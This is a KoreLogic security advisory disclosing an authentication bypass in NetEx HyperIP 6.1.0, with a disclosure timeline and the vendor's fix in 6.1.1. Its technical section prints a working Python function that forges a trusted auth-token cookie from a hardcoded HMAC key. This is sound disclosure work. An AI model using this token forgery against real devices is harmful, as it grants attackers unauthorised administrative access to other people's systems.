NetEx HyperIP 6.1.0 Authentication Bypass

NetEx HyperIP version 6.1.0 suffers from an authentication bypass vulnerability.

MD5 | 277d52048cffd60814568116ed7bd4b4

KL-001-2018-002 : NetEx HyperIP Authentication Bypass

Title: NetEx HyperIP Authentication Bypass
Advisory ID: KL-001-2018-002
Publication Date: 2018.02.08
Publication URL:

1. Vulnerability Details

Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Authentication Bypass
Attack vector: HTTPS

2. Vulnerability Description

Authentication for the management application can be bypassed
by recreating the algorithm used to create predictable valid

3. Technical Description

Authentication can be bypassed using the function below.

>>> from hashlib import md5
>>> from hmac import new
>>> def bypass_auth(user,srcip):
... key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
... token = new(key,user+srcip,md5).hexdigest()
... return token

The attacker first creates a cookie token.

>>> print bypass_auth('hipadmin','[redacted]')

Then the attacker can submit requests containing that value as
the auth-token cookie, which will be trusted by the application.

4. Mitigation and Remediation Recommendation

The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.

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